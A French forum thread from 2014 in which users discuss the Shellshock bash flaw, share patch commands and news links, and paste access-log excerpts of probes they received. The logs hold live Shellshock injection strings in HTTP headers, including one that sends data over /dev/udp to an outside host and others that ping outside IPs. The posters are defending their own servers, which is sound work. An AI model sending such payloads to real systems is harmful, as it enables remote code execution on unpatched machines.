Message de service : grosse faillasse a priori d'un niveau comparable à heartbleed qui touche bash (qui est juste employé par toute machine plus ou moins unix sur la planète (ça inclue les mac, les serveurs, mais aussi probablement quelques NAS et autres caméras sous linux).

Je vous conseille de mettre à jour s'il y a la mise à jour (sous debian : apt-get update && apt-get upgrade )

Si vous ne savez pas ce qu'est bash et que vous appuyez sur démarrer pour arrêter votre ordinateur : à priori vous n'avez pas à vous préoccuper de cette faille !

Ah merde, j'ai oublié de donner son petit nom : vulénrabilité "shellshock"

Merci pour l'info, j'étais passé à coté ce matin. Je n'ai pas les détails de la faille (ni dans quelle mesure le code exécuté peut augmenter ses privilèges), je n'ai même aucune idée de comment cela peut être exploité (l'article que j'ai lu en diagonale parle d'une injection dans les en-têtes des navigateurs, mais je ne vois pas en quoi c'est "exécuté" ou même interprété par Bash).

Quoiqu'il en soit, apt-get install --only-upgrade bash

Je ferai une màj complète du système prochainement...

www.troyhunt.com/2014/09…
http://www.01net.com/editorial/627512/la-megafaille-shellshock-secoue-le-monde-linux-et-max-os/
www.zdnet.com/first-atta…

Bein globalement, oui ça a déjà utilisé en craftant des entêtes http, mais ça peut impacter pas mal d'autres services. Pour le moment, tout ce que j'ai lu, c'est TRÈS pessimiste sur l'ampleur de la faille, surtout considérant la tonne de linux embarqués qui ne sont pas patchables. Au delà des serveurs web, y'a les serveurs DHCP, tout protocole attendant un truc réseau, mais outre les serveurs y'a les caméras de surveillance, les routeurs, les téléphones, les ampoules électriques (riez pas, on a trouvé des failles sur les systèmes de lampe intelligente vendus dans le commerce ! :D ), ...

Ah joli l'exploitation commerciale : http://www.shellshock.fr/ : acheter un NDD pour décrire la faille et finir par "au fait, on est une boite, vous pouvez nous engager pour votre sécurité".

Joli coup marketing !

J'ai vu l'annonce de l'update de bash hier soir, mais là ça a commencé à en parler sec que depuis cet aprem'. Ça sent clairement pas bon, et si les hypothèses pessimistes se confirment, on est parti pour quelques années de risque, le temps que tout soit mis à jour. Pouvoir exécuter un shell à distance sur un objet dont tout le monde a oublié l'existence une fois branché et qui a accès au réseau local, c'est quand même un peu le graal pour un attaquant.

edit : ah, et vu que je vois des crétins (pas ici, je n'oserai pas) se marrer parce qu'ils utilisent un autre shell par défaut (je vous comprend, je suis fan de zsh avec oh-my-zsh mis dessus) : vous êtes quand même vulnérables, utiliser zsh ou fish ne supprime pas bash ! :p

re-edit (oui, c'est un peu un monologue) : ça ne marchera probablement pas, mais si ça marche, c'est à la fois cool pour ceux arrivant sur ce réseau en particulier ... et ULTRA FLIPPANT pour le reste du monde !

Je dois sûrement passer à coté de quelque chose au niveau technique, mais pourquoi est-ce que bash exécute absolument tout ? Je veux dire : pourquoi est-ce que bash parse et interprète un user-agent ou même un entête HTTP ? Pourquoi (dans l'exemple donné) ça interprèterait le SSID ?

Je sais (enfin, je suppose) que c'est largement fonctionnel, parce que j'ai vu un exemple (dans un de tes liens) d'un user-agent modifié pour inclure le hack et provoquer un ping sur un serveur, mais... Je dois méconnaître bash, parce que je ne vois pas le lien

J'en sais pas beaucoup plus ... le soucis serai plus lié à d'autres failles. Typiquement tu es surtout vulnérable si cgi-bin est activé. J'avoue ne pas maitriser exactement le soucis sur des non-cgi-bin, mais better safe than sorry. En local par contre, j'ai vu des escalades de privilèges en passant en argument des trucs qui ont le setuid.

Par contre, je suis clairement déjà testé (extrait de mon log) :

$ zgrep '};' access.log | grep -v 'SIMBAR'
24.251.197.244 - - [25/Sep/2014:09:58:04 +0200] "GET / HTTP/1.1" 301 452 "-" "() { :; }; echo -e \"Content-Type: text/plain\\n\"; echo qQQQQQq"
24.251.197.244 - - [25/Sep/2014:09:58:05 +0200] "GET / HTTP/1.1" 200 22152 "-" "() { :; }; echo -e \"Content-Type: text/plain\\n\"; echo qQQQQQq"
166.78.61.142 - - [25/Sep/2014:13:31:38 +0200] "GET / HTTP/1.1" 301 452 "-" "() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444"


ou

209.126.230.72 - - [25/Sep/2014:04:17:00 +0200] "GET / HTTP/1.0" 200 5974 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (blog.erratasec.com/2014/…)"
89.207.135.125 - - [25/Sep/2014:15:24:33 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 411 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

(le grep -v SIMBAR c'est pour éviter un user-agent de ce nom qui contient }; dans son UA)

Apparemment, une attaque, ça ressemble à ça

J'ai patché hier après midi mon parc au boulot, j'étais vachement content d'apprendre ce matin que le patch ne résolvait pas vraiment le problème...

Maintenant je suis dubitatif sur la comparaison avec heartbleed. Je n'ai pas de cgi bash qui tournent à poil sur le net, ça ne me serait jamais venu à l'idée et après audit de l'infra de ma société je n'en ai effectivement pas.

Bon courage à ceux qui sont confrontés au problème!

/var/log/nginx$ zgrep '};' access.log | grep -v 'SIMBAR'
89.207.135.125 - - [25/Sep/2014:07:58:27 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 444 0 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

Même tentative que chez toi, mais quelques heures plus tôt

Nouvelle version de Bash pour Debian, ce 26/09, le patch d'hier ne corrigeant à priori pas totalement la faille. Je suppose que les autres distributions vont suivre (ou l'ont déjà fait).

Tchou> Pour les objets "connectés", ça semble plus limité comme impact (c'est Ash et pas Bash en général).